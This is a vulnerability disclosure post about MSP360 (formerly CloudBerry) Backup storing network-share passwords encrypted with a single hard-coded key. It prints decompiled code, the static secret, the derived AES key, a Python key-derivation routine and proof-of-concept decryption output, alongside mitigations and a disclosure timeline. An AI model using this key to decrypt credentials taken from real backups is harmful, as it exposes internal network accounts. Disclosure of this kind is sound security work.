MSP360 hardcoded encryption keys leading to leaked network credentials

19 Jun 2024 - Proactive Labs

“MSP360™ (previously CloudBerry) Backup for Windows is a cost-effective, flexible, and versatile backup and data restore solution that enables business and private users to automate data protection routines for a number of environments, local and cloud storage destinations.”

~ https://help.msp360.com/cloudberry-backup/overview/intro

The MSP360 Backup Agent software stores credentials for network shares using a static key, allowing an attacker with access to a stolen enginesettings.list file from a backup to obtain network credentials.

This configuration file is backed up to a target, alongside the actual backup data. This can support multiple types of destinations, including Amazon S3. By default, MSP360 managed buckets do not enable directory listing, however users can configure their own backup target, which can be configured to enable directory listing.

If an attacker is able to obtain this enginesettings.list file, it can be decrypted using a hard-coded key present in the MSP360 backup software, leading to credential exposure for internal network assets.

To re-iterate; while buckets are configured on a per-user basis, the hard-coded key is the same for anyone using the software; if an attacker is able to obtain a copy of the enginesettings.list file, they now have credentials for your configured network shares.

As the vendor did not respond to the disclosure, it is unclear if a patch is forthcoming.

tldr: If you use MSP360 with a vulnerable configuration, rotate your network credentials and reconfigure buckets to no longer be publicly accessible.

Background

MSP360 Backup Agent is an agent based backup solution supporting Windows / OSX / Linux, and appears to have been renamed from CloudBerry in June 2023. The software appears to have multiple licensing tiers for different use cases, but ultimately backs up configured sources to destinations; the focus of this post is Amazon S3, however the vulnerability is destination agnostic.

The software can be remotely administered and viewed through a web application hosted at https://console.msp360.com; however not all editions support this.

When using defaults, the solution will seemingly generate a per-user bucket which is configured to disallow directory listing, and is not the subject of this post.

The software seemingly also allows the usage of arbitrary S3 buckets, which if (mis)configured to allow directory browsing, will upload backups alongside with a configuration file containing encrypted credentials.

These credentials are encrypted with a hard-coded key, allowing an attacker to decrypt sensitive network credentials used by the backup agent, and potentially establish a foothold with in a network.

Versions Affected

The software used was MSP360 Backup Desktop Edition, although the functionality appears common in other editions.

We were able to directly observe this in versions 7.8.5.15 (March 2024) and 7.9.4.84 (March 2024), however suspect this is also present in earlier versions.

We had access to an old configuration file, which purportedly came from version 4.5, however the change log does not appear to list versions under 6.3.2 (15-Jul-2020); potentially indicating this issue has likely existed for nearly half a decade.

The versions can be observed at https://help.msp360.com/cloudberry-backup/whats-new.

The software is somewhat confusingly named, previously it appeared to be CloudBerry Backup for Windows, however in later editions was renamed to MSP360 Backup for Windows, which may explain the lack of version numbers before a given date in the changelog.

Vulnerable Configuration

For the vulnerability to be exploitable, the MSP360 Backup software needs to be configured to back up from an Server Message Block (SMB) share, and to have credentials configured. In the user interface, this appears as the following:

Network shares and credentials configured in backup

Configuration Files

The backup configuration can be exported from the application interface using the Export Configuration option, which will output a file named Configuration_$Date$.cbbconfiguration. Exporting a file at the time of writing resulted in a file named Configuration_20240604151528.cbbconfiguration.

These exports are (renamed) ZIP archives, which can be decompressed and will contain files as follows:

  • enginesettings.list
    • An XML blob, starting with EngineSettings.
    • The configuration for our backup software, and of interest to this post.
  • (GUID.cbb) - i.e. a55ca7f0-b9e1-4d72-a700-11e1fc2d0ad8.cbb
    • A backup plan, in XML and starts with BasePlan.
    • This file is not of interest to this post.

Blobs can be exported from the software using the Export configuration option, however the EngineSettings.list file will generally appear in backup locations such as Amazon S3, alongside with backup plans.

The Enginesettings.list file is the focus to this post, and is detailed in the next section.

Enginesettings.list

The Enginesettings.list file, partially edited for brevity, is shown below:

<?xml version="1.0" encoding="utf-8"?>
<EngineSettings xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SerializationSupportDefaultRetentionTime>10675199.02:48:05.4775807</SerializationSupportDefaultRetentionTime>
  <RetentionDelay>00:00:00</RetentionDelay>
  <EngineVersion>7.9.4.84</EngineVersion>
  <SerializationSupportHistoryDefaultRetentionTime>10675199.02:48:05.4775807</SerializationSupportHistoryDefaultRetentionTime>
  <!-- snip... --> 
  <MBSFolderPath>MBS-8070d2a1-fc62-4043-9512-8e7593fed4d8</MBSFolderPath>
  <Credentials />
  <NetworkShares>
    <NetworkCredentialsSettings>
      <Share>\\localhost\networkshare</Share>
      <Login>cloudberry</Login>
      <Password>8g5udYDL4ENotWyVoF9AsQ==</Password>
    </NetworkCredentialsSettings>
  </NetworkShares>
  <MaximumSimultaneousTransfers>5</MaximumSimultaneousTransfers>
  <Priority>Normal</Priority>
  <DefaultRetentionNumberOfHistoryRecords>10000</DefaultRetentionNumberOfHistoryRecords>
  <PreventSleepMode>true</PreventSleepMode>
  <ContinueOnWakeUp>false</ContinueOnWakeUp>
  <RetryAttempts>3</RetryAttempts>
  <RetryInterval>400</RetryInterval>
  <!-- snip -->
</EngineSettings>

Within the Enginesettings.txt file, a NetworkCredentialsSettings element contains shares used for backup sources, alongside a username (Login) and Password field, which is shown below:

  <NetworkShares>
    <NetworkCredentialsSettings>
      <Share>\\localhost\networkshare</Share>
      <Login>cloudberry</Login>
      <Password>8g5udYDL4ENotWyVoF9AsQ==</Password>
    </NetworkCredentialsSettings>
  </NetworkShares>

The Password field is a base 64 encoded blob, which is encrypted with AES in ECB mode, as detailed in the next section.

Reverse engineering the algorithm

Network credential settings are handled in the CloudBerryLab.Client.Options.NetworkCredentialsSettings class, which is responsible for the deserialization of the NetworkCredentialSettings XML object. Decryption of the password occurs when the getter for the Password property is called.

[XmlIgnore]
public string Password
{
    get
    {
        return Settings.Decrypt(PasswordEncrypted);
    }
    set
    {
        PasswordEncrypted = Settings.Encrypt(value);
    }
}

[XmlElement("Password")]
public string PasswordEncrypted { get; set; }

The Settings.Decrypt method simply returns an empty string if the Ciphertext is null, otherwise it calls a method with a per-version obfuscated name such as aUy.s.

Stepping through the obfuscated call tree, eventually the following method is called.

public static byte[] A(byte[] A_0, string A_1, bool A_2)
{
    byte[] result;
    using (SymmetricAlgorithm symmetricAlgorithm = aqN.A())
    {
        byte[] array = A_2 ? symmetricAlgorithm.IV : new byte[16];
        ICryptoTransform transform = symmetricAlgorithm.CreateEncryptor(new PasswordDeriveBytes(A_1, null).GetBytes(16), array);
        using (MemoryStream memoryStream = new MemoryStream())
        {
            if (A_2)
            {
                memoryStream.Write(array, 0, array.Length);
            }
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(A_0, 0, A_0.Length);
                cryptoStream.FlushFinalBlock();
            }
            result = memoryStream.ToArray();
        }
    }
    return result;
}

This roughly comes down to the following:

  • A_0 is the plaintext password to encrypt.
  • A_1 is a hard-coded secret, used with a key derivation function.
  • The key derivation function PasswordDeriveBytes uses SHA1.
  • PasswordDeriveBytes will perform the SHA1 algorithm 100 times.
  • The output is truncated to 16 bytes and used as an encryption key.
  • The algorithm used with symmetricAlgorithm.CreateEncryptor is AES in ECB mode

The hard coded secret is set as a property of the obfuscated class, which in this case is aUy.Dyl. The secret is consistent across every version we’ve reviewed.

private const string Dyl = "9B80F6F2-BEF9-4C7F-8708-9932B806A5C4";

The following python function implements the PasswordDeriveBytes method from DotNet, enabling us to recover the real AES key in use.

def dotnet_password_derive_bytes_no_salt(password, length, count):
    iter_hash  = hashlib.sha1(password).digest()
    count -= 1    
    for i in range(count-1): 
        iter_hash = hashlib.sha1(iter_hash).digest()

    done_bytes = hashlib.sha1(iter_hash).digest()
    return(done_bytes[:length])

CLOUDBERRY_AES_KEY = dotnet_password_derive_bytes_no_salt(b'9B80F6F2-BEF9-4C7F-8708-9932B806A5C4', 16, 100)

The hard-coded key for all instances is U9Ebzxlhs2bk++uBub+5SA==.

Proof of Concept

A proof of concept is available on our GitHub.

The proof of concept will enumerate and decrypt all Password elements within a NetworkCredentialsSettings block, although the CBLPassword field also appears to be encrypted with the same key.

Running the decryption returns the following result:

poc@pentest ~/cloudberry-decrypt $ python main.py enginesettings.list
\\localhost\networkshare cloudberry 0vagrant

This can also be performed in CyberChef.

Mitigations?

At time of writing, there does not appear to be a configuration option to disable the backing up of NetworkCredentialsSettings. A configuration option for “Encryption” did not appear to effect the storage of NetworkCredentialsSettings.

At time of writing, the best mitigation appears to be to not use this configuration option, and instead rely on running the service with an identity which can authenticate to other services natively (i.e. a service account in Active Directory).

Vendor Response / Timelines

  • 2024-06-04 - Proactive Labs contact MSP360 to coordinate disclosure over email
  • 2024-06-04 - Vendor Response asking for initial details
  • 2024-06-04 - Proactive Labs provided initial write-up
  • 2024-06-05 - Follow up for initial thoughts from MSP360
  • 2024-06-17 - Follow up with MSP360, get auto-reply stating ticket has been closed
  • 2024-06-19 - Write-up released